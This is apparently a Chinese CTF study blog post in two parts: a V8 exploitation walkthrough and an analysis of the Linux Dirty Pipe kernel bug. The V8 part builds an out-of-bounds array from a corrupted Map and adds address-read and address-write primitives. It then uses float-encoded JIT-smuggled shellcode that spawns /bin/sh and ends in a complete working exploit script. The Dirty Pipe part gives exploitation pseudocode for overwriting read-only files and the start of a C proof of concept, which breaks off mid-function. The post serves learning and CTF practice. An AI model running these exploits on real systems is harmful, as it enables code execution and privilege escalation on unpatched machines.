  • 新写入的 0x10(JS num:8) 覆盖了 table + 0x10 的位置(Bucket data[-1]),而上面提到这个位置就是 Map capacity
  • 正因为如此,存储桶被扩展了,元素 Entry 的位置也会改变(其实这里并不是 Entry 的位置发生了改变,而是 V8 为了预留 Bucket data 的空间,而认为 Entry 的位置向后进行了移动)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> job 0x14080004baad
0x14080004baad: [OrderedHashMap]
- FixedArray length: 17
- elements: 0
- deleted: 0
- buckets: 8
- capacity: 16
- buckets: {
0: -1
1: -1
2: 0x1408000023e1 <undefined>
3: 0x1408000023e1 <undefined>
4: 0x1408000023e1 <undefined>
5: 0x1408000023e1 <undefined>
6: 0x1408000023e1 <undefined>
7: 0x1408000023e1 <undefined>
}
- elements: {
}

因此修改 POC 为:

1
2
3
4
5
6
7
8
var c = [];
m = new Map();
m.set(1, 1);
m.set(c.hole(), 1);
m.delete(c.hole());
m.delete(c.hole());
m.delete(1);
oob_arr = new Array(1.1, 2.2);
  • 打印 JSMap 和 JSArray 对象的内存信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
d8> %DebugPrint(m)
DebugPrint: 0x233e0004ba25: [JSMap]
- map: 0x233e001862f1 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x233e00186431 <Object map = 0x233e00186319>
- elements: 0x233e00002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- table: 0x233e0004bacd <OrderedHashMap[17]>
- properties: 0x233e00002259 <FixedArray[0]>
- All own properties (excluding elements): {}

......

d8> %DebugPrint(oob_arr)
DebugPrint: 0x233e0004bb19: [JSArray]
- map: 0x233e0018e6bd <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x233e0018e11d <JSArray[0]>
- elements: 0x233e0004bb29 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x233e00002259 <FixedArray[0]>
- All own properties (excluding elements): {
0x233e00006551: [String] in ReadOnlySpace: #length: 0x233e00144255 <AccessorInfo name= 0x233e00006551 <String[6]: #length>, data= 0x233e000023e1 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x233e0004bb29 <FixedDoubleArray[2]> {
0: 1.1
1: 2.2
}

......
  • oob_arrm->table 的位置很接近(0x233e0004bacd + 0x4c == 0x233e0004bb19
1
2
pwndbg> x/20xw 0x233e0004bb19-1
0x233e0004bb18: 0x0018e6bd 0x00002259 0x0004bb29 0x00000004
  • oob_arr+0x8table+0x54):oob_arr->elements
  • oob_arr+0xctable+0x58):oob_arr->length

先执行一次 m.set(0x10,-1) 后再次打印 table

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> job 0x233e0004bacd
0x233e0004bacd: [OrderedHashMap]
- FixedArray length: 17
- elements: 0
- deleted: 0
- buckets: 16
- capacity: 32
- buckets: {
0: -1
1: -1
2: 0x233e000023e1 <undefined>
3: 0x233e000023e1 <undefined>
4: 0x233e000023e1 <undefined>
5: 0x233e000023e1 <undefined>
6: 0x233e000023e1 <undefined>
7: 0x233e000023e1 <undefined>
8: 0x233e000023e1 <undefined>
9: 0x233e000023e1 <undefined>
10: 0x233e000023e1 <undefined>
11: 0x233e000023e1 <undefined>
12: 0x233e000023e1 <undefined>
13: 0x233e000023e1 <undefined>
/* 到这里已经进入oob_arr的区域了 */
14: 0x233e0018e6bd <Map[16](PACKED_DOUBLE_ELEMENTS)>
15: 0x233e00002259 <FixedArray[0]>
}
- elements: {
}
  • 由于 Map 的容量被覆盖为32,这意味着存储桶扩展到16
  • 由于存储桶的扩展,元素指针 Entry 向后移动了 (16-2)*0x4 = 0x38 字节
  • 所以,之前映射键的第一个元素 Entry 存储在 table+0x1c 中,现在它将存储在 table+0x54
1
2
3
pwndbg> x/30xw 0x233e0004bacd-1+0x54
0x233e0004bb20: 0x0004bb29 0x00000004 0x00002ac1 0x00000004
0x233e0004bb30: 0x9999999a 0x3ff19999 0x9999999a 0x40019999
  • 但是 table+0x54 是存储的元素 oob_arr 指针,table+0x58oob_arr 长度
  • 因此,在损坏之后,如果我们第三次调用 map.set,它将覆盖 oob_arr 元素的指针和长度,通过进一步的技术,我们将能够使用损坏的 oob_arr 作为我们的读写基元
1
2
3
4
d8> m.set(oob_arr, 0xffff);
[object Map]
d8> oob_arr.length
65535
1
2
3
pwndbg> x/30xw 0x233e0004bacd-1+0x54
0x233e0004bb20: 0x0004bb19 0x0001fffe 0xfffffffe 0x00000004
0x233e0004bb30: 0x9999999a 0x3ff19999 0x9999999a 0x40019999
  • oob_arr 的长度已经被修改了,完成了 Array OOB 数组越界

现在我们有一个可以进行 OOB 读写的数组,为了控制 RIP,我们需要能够执行:

  • addrof:获取对象的地址
    • 创建一个名为 victims 的新变量,它是一个空对象的数组
    • 将目标对象分配给 victims 数组的元素之一
    • 使用从 oob_arr 读取的 OOB,读取受害者元素的存储值(即目标对象地址)
1
2
3
4
5
6
victim = [{}, {}, {}, {}];
function addrof(in_obj) {
mask = (1n << 32n) - 1n
victim[0] = in_obj;
return ftoi(oob_arr[12]) & mask;
}
  • read:读取给定地址的值(RAA)
    • 创建一个名为 read_gadget 的数组,该数组由浮点值组成
    • 使用 OOB 从 oob_arr 写入,利用溢出覆盖 read_gadget[0],使其指向 target_addr-0x8(数组的第一个元素存储在 elements+0x8 中)
    • 返回 read_gadget[0]
1
2
3
4
5
read_gadget = [1.1, 2.2, 3.3];
function weak_read(addr) {
oob_arr[37] = itof(0x600000000n+addr-0x8n);
return ftoi(read_gadget[0]);
}
  • write:将值写入给定地址(WAA)
    • 前面和 read 类似
    • 但我们没有返回 read_gadget[0]
    • 而是为 read_gadget[0] 分配了我们所需的值
1
2
3
4
function weak_write(addr, value) {
oob_arr[37] = itof(0x600000000n+addr-0x8n);
read_gadget[0] = itof(value);
}

接下来我们需要寻找控制 RIP 的方法(劫持程序的执行流)

实际上,可以通过 JIT 喷射攻击来走私 shellcode 代码:(绕过 sandbox)

  • 我们可以做的是将我们的 shellcode 转换为浮点数,以便我们的浮点数十六进制按原样存储在 Jitted 函数区域中
  • 实例代码如下:
1
2
3
4
5
6
7
8
9
10
const foo = ()=>
{
return [1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {foo();foo();foo();foo();}
  • JavaScript 中定义的浮点实际上是走私的 shellcode
  • 它将执行 sys_execve('/bin/sh')
  • 由于该函数被调用了很多次,因此 v8 将对代码进行 JIT(启用 TURBOFAN)

使用 GDB 打印内存信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
d8> %DebugPrint(foo)
DebugPrint: 0xc25002c278d: [Function] in OldSpace
- map: 0x0c2500184241 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0c25001840f5 <JSFunction (sfi = 0xc2500145dfd)>
- elements: 0x0c2500002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x0c2500199f11 <SharedFunctionInfo foo>
- name: 0x0c2500199ea5 <String[3]: #foo>
- formal_parameter_count: 0
- kind: ArrowFunction
- context: 0x0c250019a005 <ScriptContext[3]>
- code: 0x0c250019a2dd <CodeDataContainer TURBOFAN>
- source code: ()=>
{
return [1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
- properties: 0x0c2500002259 <FixedArray[0]>
- All own properties (excluding elements): {
0xc2500006551: [String] in ReadOnlySpace: #length: 0x0c25001442fd <AccessorInfo name= 0x0c2500006551 <String[6]: #length>, data= 0x0c25000023e1 <undefined>> (const accessor descriptor), location: descriptor
0xc2500006799: [String] in ReadOnlySpace: #name: 0x0c25001442e5 <AccessorInfo name= 0x0c2500006799 <String[4]: #name>, data= 0x0c25000023e1 <undefined>> (const accessor descriptor), location: descriptor
}
- feedback vector: 0xc250019a0c9: [FeedbackVector] in OldSpace
- map: 0x0c250000273d <Map(FEEDBACK_VECTOR_TYPE)>
- length: 1
- shared function info: 0x0c2500199f11 <SharedFunctionInfo foo>
- no optimized code
- tiering state: TieringState::kNone
- maybe has maglev code: 0
- maybe has turbofan code: 0
- invocation count: 214279
- profiler ticks: 0
- closure feedback cell array: 0xc2500003511: [ClosureFeedbackCellArray] in ReadOnlySpace
- map: 0x0c2500002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
- length: 0

- slot #0 Literal {
[0]: 0x0c250019a185 <AllocationSite>
}
0xc2500184241: [Map] in OldSpace
- type: JS_FUNCTION_TYPE
- instance size: 28
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- callable
- back pointer: 0x0c25000023e1 <undefined>
- prototype_validity cell: 0x0c25001443cd <Cell value= 1>
- instance descriptors (own) #2: 0x0c2500184269 <DescriptorArray[2]>
- prototype: 0x0c25001840f5 <JSFunction (sfi = 0xc2500145dfd)>
- constructor: 0x0c2500002261 <null>
- dependent code: 0x0c25000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

()=>
{
return [1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
  • 请注意,foo 方法中有一个名为 code 的属性,其中基于 gdb 中的检查,偏移量为 foo+0x18
  • 接下来打印 code 属性的信息:
1
2
3
4
5
6
7
8
pwndbg> job 0x0c250019a2dd
0xc250019a2dd: [CodeDataContainer] in OldSpace
- map: 0x0c2500002a71 <Map[28](CODE_DATA_CONTAINER_TYPE)>
- kind: TURBOFAN
- is_off_heap_trampoline: 0
- code: 0x55e3400042c1 <Code TURBOFAN>
- code_entry_point: 0x55e340004300
- kind_specific_flags: 4
  • code:指向 jitted code 区域(code + 0x8
  • code_entry_point:指向 jitted code 指令的开头(code + 0xc
1
2
3
4
pwndbg> job 0x55e3400042c1 /* jitted code */
0x55e3400042c1: [Code]
- map: 0x0c250000264d <Map(CODE_TYPE)>
- code_data_container: 0x0c250019a2dd <CodeDataContainer TURBOFAN>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> telescope 0x55e340004300 /* code_entry_point */
00:00000x55e340004300 ◂— mov ebx, dword ptr [rcx - 0x30]
01:00080x55e340004308 ◂— 0x1fe88e70850f0117
02:00100x55e340004310 ◂— push rbp
03:00180x55e340004318 ◂— sub esp, 8
04:00200x55e340004320 ◂— xchg bl, bh
05:00280x55e340004328 ◂— add bh, cl
06:00300x55e340004330 ◂— cmp qword ptr [r13 + 0xcf08], rdi
07:00380x55e340004338 ◂— xchg byte ptr [rbx], dl
08:00400x55e340004340 ◂— cmp byte ptr [rcx - 0x77], cl
09:00480x55e340004348 ◂— add rcx, 1
0a:00500x55e340004350 ◂— add al, byte ptr [rax]
0b:00580x55e340004358 ◂— add ecx, dword ptr [r8 + rax]
0c:00600x55e340004360 ◂— jbe 0x55e340004322
0d:00680x55e340004368 ◂— stc
0e:00700x55e340004370 ◂— 0x68732f68ba4907
0f:00780x55e340004378 ◂— pop rax

使用 WAA,让我们通过移动其存储值来覆盖此 code_entry_point,以指向我们的第一个走私 shellcode,以便当我们调用 foo 时,它将跳转并执行我们构建的 shellcode

  • PS:最好将目标 JIT 代码放在文件的顶部,这样它就不会弄乱我们创建的 WAA

最后的入侵步骤:

  • 执行 addrof(foo) 获取 foo 对象的地址
  • 使用 weak_read 获取 foo+0x18foo->code
  • 使用 weak_read 获取 foo->code+0xcfoo->code->code_entry_point
  • 使用 weak_writefoo->code 处覆盖上 foo->code->code_entry_point+shift_offset(其中 shift_offset 是起始 JIT 代码指令到走私的 shellcode 代码之间的距离)

通过调试来寻找 shift_offset 的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> telescope 0x5577a0004b00
00:00000x5577a0004b00 ◂— mov ebx, dword ptr [rcx - 0x30]
01:00080x5577a0004b08 ◂— 0x1fe88670850f0117
02:00100x5577a0004b10 ◂— push rbp
03:00180x5577a0004b18 ◂— sub esp, 8
04:00200x5577a0004b20 ◂— xchg bl, bh
05:00280x5577a0004b28 ◂— add bh, cl
06:00300x5577a0004b30 ◂— cmp qword ptr [r13 + 0xcf08], rdi
07:00380x5577a0004b38 ◂— xchg byte ptr [rbx], dl
pwndbg>
08:00400x5577a0004b40 ◂— cmp byte ptr [rcx - 0x77], cl
09:00480x5577a0004b48 ◂— add rcx, 1
0a:00500x5577a0004b50 ◂— add al, byte ptr [rax]
0b:00580x5577a0004b58 ◂— add ecx, dword ptr [r8 + rax]
0c:00600x5577a0004b60 ◂— jbe 0x5577a0004b22
0d:00680x5577a0004b68 ◂— stc
0e:00700x5577a0004b70 ◂— 0x68732f68ba4907
0f:00780x5577a0004b78 ◂— pop rax

其实这个 shellcode 的开头有一处很明显的特征:

1
2
3
0:   68 2f 73 68 00          push   0x68732f
5: 58 pop rax
6: eb 0c jmp 0x14
  • 通过 0x68732f 就可以快速定位 shellcode
1
2
3
pwndbg> telescope 0x5577a0004b00+115
00:00000x5577a0004b73 ◂— push 0x68732f /* 'h/sh' */
01:00080x5577a0004b7b ◂— vmovq xmm0, r10
  • shift_offset 的值就是“115”

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const foo = ()=>
{
return [1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {foo();foo();foo();foo();}
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
var c = [];
m = new Map();
m.set(1, 1);
m.set(c.hole(), 1);
m.delete(c.hole());
m.delete(c.hole());
m.delete(1);
oob_arr = new Array(1.1, 2.2);
m.set(0x10, -1);
m.set(oob_arr, 0xffff);
victim = [{}, {}, {}, {}];
read_gadget = [1.1, 2.2, 3.3];
function addrof(in_obj) {
mask = (1n << 32n) - 1n
victim[0] = in_obj;
return ftoi(oob_arr[12]) & mask;
}
function weak_read(addr) {
oob_arr[37] = itof(0x600000000n+addr-0x8n);
return ftoi(read_gadget[0]);
}
function weak_write(addr, value) {
oob_arr[37] = itof(0x600000000n+addr-0x8n);
read_gadget[0] = itof(value);
}
f_foo = addrof(foo);
f_code = weak_read(f_foo+0x18n) & ((1n << 32n) - 1n);
f_code_code_entry_point = weak_read(f_code+0xcn);
weak_write(f_code+0xcn, f_code_code_entry_point+115n);
foo();

小结:

本人对 V8 不是很了解,只是之前复现过一些 JavaScript pwn

比赛时 V8 的环境我搭了很久,搭好后也不会做题,这个题就当是 V8 入门吧

全程模仿官方 wp,原文如下:

文章全英文,锻炼了一下阅读英语论文的能力

学习到的知识如下:

  • JS 对象内存信息布局

  • JavaScript Hole 漏洞

  • Tagged Pointer

  • JavaScript Sandbox 以及其绕过手法

  • Map 对象原理以及 OrderedHashMap

  • V8 的编译以及调试手法

Dirty Pipe 漏洞成因

攻击者可以利用该漏洞实现低权限用户提升至 root 权限,且能对主机任意可读文件进行读写

攻击适用版本:

  • Linux Kernel版本 >= 5.8
  • Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102

攻击适用条件:

  • 攻击者必须有读权限(因为它需要通过 splice 方法将将页输入管道中)
  • 偏移量不能在页边界上(因为页上至少有一个字节已经拼接到管道中)
  • 写入不能跨越页边界(因为这将为其余部分创建一个新的匿名缓冲区)
  • 文件无法调整大小(因为管道有自己的页面填充管理,并且不会告诉页面缓存附加了多少数据)
  • 单次写入的长度不能超过一页(因为页大小为4K)

该漏洞源于新管道缓冲区结构的“flag”变量在 Linux 内核中的 copy_page_to_iter_pipepush_pipe 函数中缺乏正确的初始化

前置知识 - Page Cache & splice

Page Cache 即缓存管理机制,一般当我们访问一个磁盘文件的时候,首先内核会将其内容装载到 Page Cache 内存中,后续都是直接读取内存中的 Page Cache 来访问数据,内核会在合适的时机将标脏的 Page 给写回磁盘中

  • 如果用户进程使用 read/write 读写文件,那么内核会先将载入数据的物理内存映射到内核虚拟内存 buffer,然后再将内核的 buffer 数据拷贝到用户态
  • 如果追求效率,内核也提供一种零拷贝模式(不发生系统调用,跨越用户和内核的边界做上下文切换),用户进程可以使用 mmap 直接将用户态的 buffer 映射到物理内存,不需要进行系统调用,直接访问自己的 mmap 区域即可访问到那段物理内存内容

splice 系统调用通过一种“零拷贝”的方法将文件内容输送到管道之中,相比传统的直接将文件内容送入管道性能更好

  • 经典的 read/write 方式:利用用户态数据 buf 作为文件缓存
1
2
3
buf = malloc(len)  		// 首先申请一块长度为len的内存
read(fd1, buf, len) // 将第一个文件fd1中len长度的数据读入buf
write(fd2, buf, len) // 将buf中的数据写入文件fd2中
  • 零拷贝 splice:在数据发送的过程中,不需要在用户态为数据申请 buf,也就是不会产生用户态、内核态之间的数据拷贝
1
2
ssize_t splice(int fd_in, loff_t *off_in, int fd_out,
loff_t *off_out, size_t len, unsigned int flags);
  • 在两个文件描述符之间移动数据,而无需在内核地址空间和用户地址空间之间进行复制
  • 它从文件描述中传输最多 len 字节的数据
  • fd_in 传递到文件描述符 fd_out,其中文件描述符之一必须引用管道

splice 在内核中对应的接口如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
SYSCALL_DEFINE6(splice, int, fd_in, loff_t __user *, off_in,
int, fd_out, loff_t __user *, off_out,
size_t, len, unsigned int, flags)
{
struct fd in, out;
long error;

if (unlikely(!len))
return 0;

if (unlikely(flags & ~SPLICE_F_ALL))
return -EINVAL;

error = -EBADF;
in = fdget(fd_in); /* 找到输入文件 */
if (in.file) {
out = fdget(fd_out); /* 找到输出文件 */
if (out.file) {
error = do_splice(in.file, off_in, out.file, off_out,
len, flags); /* 真正的移动数据 */
fdput(out);
}
fdput(in);
}
return error;
}
  • 调用链如下:
1
2
3
4
sys_splice -> do_splice -> []
[pipe to pipe]-> splice_pipe_to_pipe -> ()
[pipe to file]-> do_splice_to -> ()
[file to pipe]-> do_splice_from -> f_op->splice_read(generic_file_splice_read) -> call_read_iter -> f_op->read_iter(copy_folio_to_iter) -> ... -> copy_page_to_iter -> copy_page_to_iter_pipe
  • 其中 copy_page_to_iter_pipe 对“flag”变量没有进行初始化

使用 splice 将数据从文件导入到管道中:(file to pipe

  • 首先将数据加载到文件页面缓存 page cache
  • 然后创建一个管道缓冲区 pipe_buffer
  • 直接 pipe_buffer->page = page cache,把 page cache 当做 pipe_buffer 的缓存页

如果此时该管道还想存储从其他输入流传输来的数据,就只能重新申请 pipe_buffer,不能直接附加到刚才的 pipe_buffer 中,因为该 page 是文件的缓存页面,不属于管道,但 Dirty Pipe 利用了一种方法使该页面可以被管道写入

前置知识 - Pipe

管道 Pipe 是一种经典的 IPC 通信方式:

  • 它包含一个输入端和一个输出端,程序将数据从一段输入,从另一端读出
  • 在内核中,为了实现这种数据通信,需要以页面 Page 为单位维护一个环形缓冲区(被称为 ring_buffer),里面存了16个 pipe_buffer 结构,每个 pipe_buffer 结构又有一个指针指向一个表示物理内存页 Page 的结构体
1
2
3
4
5
6
7
struct pipe_buffer {
struct page *page; /* 用于描述一个物理页 */
unsigned int offset, len;
const struct pipe_buf_operations *ops; /* 对应操作管道的函数指针 */
unsigned int flags;
unsigned long private;
};
  • 每个 Page 大小为 4KB,页面之间并不连续
  • 管道维护两个引用计数器,一个用来写 (pipe->head),一个用来读 (pipe->tail),可以被循环利用
  • 当前页面带有 PIPE_BUF_FLAG_CAN_MERGE flag 时,如果将标记且续写后的数据长度不超过一页时,则可以进行续写

管道描述符 pipe_inode_info,用于表示一个管道,存储管道相应的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct pipe_inode_info {
struct mutex mutex;
wait_queue_head_t rd_wait, wr_wait;
unsigned int head; /* 缓冲区生成点 */
unsigned int tail; /* 缓冲区消耗点 */
unsigned int max_usage;
unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
bool note_loss;
#endif
unsigned int nr_accounted;
unsigned int readers; /* 该管道的当前读者数量(每次以读方式打开时,readers加1,关闭时readers减1) */
unsigned int writers; /* 该管道的当前写者数量(每次以写方式打开时,writers加1,关闭时writers减1) */
unsigned int files; /* 引用此管道的file结构体数量 */
unsigned int r_counter; /* 管道读者记数器,每次以读方式打开管道时,r_counter加1,关闭是不变 */
unsigned int w_counter; /* 管道写者计数器,每次以写方式打开管道时,w_counter加1,关闭是不变 */
struct page *tmp_page; /* 页缓存,可以加速页帧的分配过程,当释放页帧时将页帧记入tmp_page,当分配页帧时,优先从tmp_page中获取(如果tmp_page为空才从伙伴系统中获取) */
struct fasync_struct *fasync_readers; /* 读端异步描述符 */
struct fasync_struct *fasync_writers; /* 写端异步描述符 */
struct pipe_buffer *bufs; /* 回环缓冲区(由16个pipe_buffer对象组成,每个pipe_buffer对象拥有一个内存页) */
struct user_struct *user; /* 创建此管道的用户 */
#ifdef CONFIG_WATCH_QUEUE
struct watch_queue *watch_queue;
#endif
};

管道可以分为命名管道和匿名管道:

  • 命名管道是一个有名字的实体文件
  • 匿名管道就是我们常使用的管道符创建的管道

本质上来讲,管道就是一种进程间的通信手段,让两个进程可以通过 pipe 发送和接收数据(匿名管道可用于父子与兄弟进程之间的通信,有名管道则用于两个无关进程的通信)

这里我们重点分析实现管道写的函数 pipe_write

  • 装载了文件缓存页面 page tcachepipe_buffer 不能被该管道续写(因为写入该管道的数据将会被写入文件)
  • 我们来看一下究竟是哪里限制了管道的写入:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;

if (unlikely(total_len == 0))
return 0;

__pipe_lock(pipe);

if (!pipe->readers) {
send_sig(SIGPIPE, current, 0);
ret = -EPIPE;
goto out;
}

#ifdef CONFIG_WATCH_QUEUE
if (pipe->watch_queue) {
ret = -EXDEV;
goto out;
}
#endif

head = pipe->head; /* 获取缓冲区生成点(用于写入) */
was_empty = pipe_empty(head, pipe->tail); /* 检查管道是否为空 */
chars = total_len & (PAGE_SIZE-1);
if (chars && !was_empty) { /* 缓存页不为空 */
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask]; /* 通过head索引到对应的pipe_buffer */
int offset = buf->offset + buf->len;

/* 如果flag为PIPE_BUF_FLAG_CAN_MERGE则允许在当前页面续写 */
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {

ret = pipe_buf_confirm(pipe, buf); /* 检查是否写跨页 */
if (ret)
goto out; /* 会引发写跨页(分配一个新的内存页来装数据) */

ret = copy_page_from_iter(buf->page, offset, chars, from); /* 将数据从用户传来的from,拷贝到pipe_buf->page */
if (unlikely(ret < chars)) {
ret = -EFAULT;
goto out;
}

buf->len += ret;
if (!iov_iter_count(from))
goto out;
}
}

......

out:
if (pipe_full(pipe->head, pipe->tail, pipe->max_usage))
wake_next_writer = false;
__pipe_unlock(pipe);

if (was_empty) {
wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);
}
if (wake_next_writer)
wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM);
if (ret > 0 && sb_start_write_trylock(file_inode(filp)->i_sb)) {
int err = file_update_time(filp);
if (err)
ret = err;
sb_end_write(file_inode(filp)->i_sb);
}
return ret;
}
  • 重点注意该函数对 PIPE_BUF_FLAG_CAN_MERGE 的处理,如果 flag 中有该标志位,就会调用 copy_page_from_iter 函数将数据复制到管道缓冲区

Dirty Pipe 漏洞利用

对于能否将数据附加至一个管道缓冲区,内核采用了如下的机制:

  • Linux 2.6.16 以前,pipe_buf_operations 结构有一个单独的 flag 叫做 can_merge,下面这行 if 语句通过则允许在当前页面续写
1
if (ops->can_merge && offset + chars <= PAGE_SIZE) {
  • Linux 2.6.16 起,为了支持 splice 调用,引入了 page_cache_pipe_buf_ops,它实际上是一个设置了 can_merge=0pipe_buf_operations,用来指示这部分页不能被管道写入
1
2
3
4
5
6
7
8
9
static const struct pipe_buf_operations page_cache_pipe_buf_ops = {
.can_merge = 0,
.map = generic_pipe_buf_map,
.unmap = generic_pipe_buf_unmap,
.confirm = page_cache_pipe_buf_confirm,
.release = page_cache_pipe_buf_release,
.steal = page_cache_pipe_buf_steal,
.get = generic_pipe_buf_get,
};
  • Linux 5.0 中,由于只有一种管道缓冲区类型可以追加新数据,对 can_merge 的检查被修改为只检查类型是否是 anon_pipe_buf_ops(这就是那个唯一可追加内容的类型)
1
if (pipe_buf_can_merge(buf) && offset + chars <= PAGE_SIZE) {
1
2
3
static bool pipe_buf_can_merge(struct pipe_buffer *buf) {
return buf->ops == &anon_pipe_buf_ops;
}
  • Linux 5.8 中又将 pipe_buf_operations 类型的比较修改为 pipe_buffer的一个 flag:PIPE_BUF_FLAG_CAN_MERGE
1
2
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {

Linux 4.9 添加了两个新函数 copy_page_to_iter_pipepush_pipe ,它们分配了新的管道缓冲区,但并没有初始化 flag(当时 flag 的作用并不大)

Linux 5.8 对 flag 有所运用,没有初始化 flag,意味着之前遗留下来的 PIPE_BUF_FLAG_CAN_MERGE 标志位不会被 splice 系统调用清空,这可能会影响后续某些函数的执行流程

漏洞利用的思路为:

  • 创建管道
  • 用任意数据填充管道(为整个缓冲区环结构设置 PIPE_BUF_FLAG_CAN_MERGE 标记)
  • 清空管道(保留 pipe_inode_info 环中每一个缓冲区的 flag )
  • 使用 splice 将目标文件(以只读方式打开)中的数据从目标偏移之前的位置放入到管道中
  • 将任意数据写入管道,此数据将覆盖缓存的文件页面,而不是创建新的匿名缓冲区

伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pipe(p);

/* 完全填充管道,每个pipe_buffer现在将拥PIPE_BUF_FLAG_CAN_MERGE flag */
for (r = pipe_size ; r > 0 ; ){
n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n
}

/* 排空管道,释放所有pipe_buffer实例(但是保留标志初始化) */
for (r = pipe_size; r > 0;) {
n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}

fd = open("target", O_RDONLY);
--offset;
splice(fd, &offset, p[1], NULL, 1, 0); /* 将指定偏移量之前的一个字节拼接到管道,这将添加对页面缓存的引用,但PIPE_BUF_FLAG_CAN_MERGE的状态依然有效 */

write(p[1], data, data_size); /* 不会创建新的pipe_buffer,而是会写入页面缓存 */
  • 调用 splice 函数可以通过“零拷贝”的形式将文件发送到 pipe(代码层面的零拷贝是直接将文件缓存页 page cache 作为 pipe 的缓存页使用)
  • 但这里引入了一个变量未初始化漏洞,导致文件缓存页会在后续 pipe 通道中被当成普通 pipe 缓存页而被“续写”进而被篡改
  • 然而,在这种情况下,因为没有其他可写权限的程序进行 write 操作,所以内核并不会将这个缓存页判定为“脏页”,短时间内(到下次重启之类的)不会刷新到磁盘
  • 在这段时间内所有访问该文件的场景都将使用被篡改的文件缓存页,也就达成了一个“短时间内对任意可读文件任意写”的操作

Dirty Pipe 漏洞复现

1.修改服务器上 flag 文件的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

for (unsigned r = pipe_size; r > 0;) {
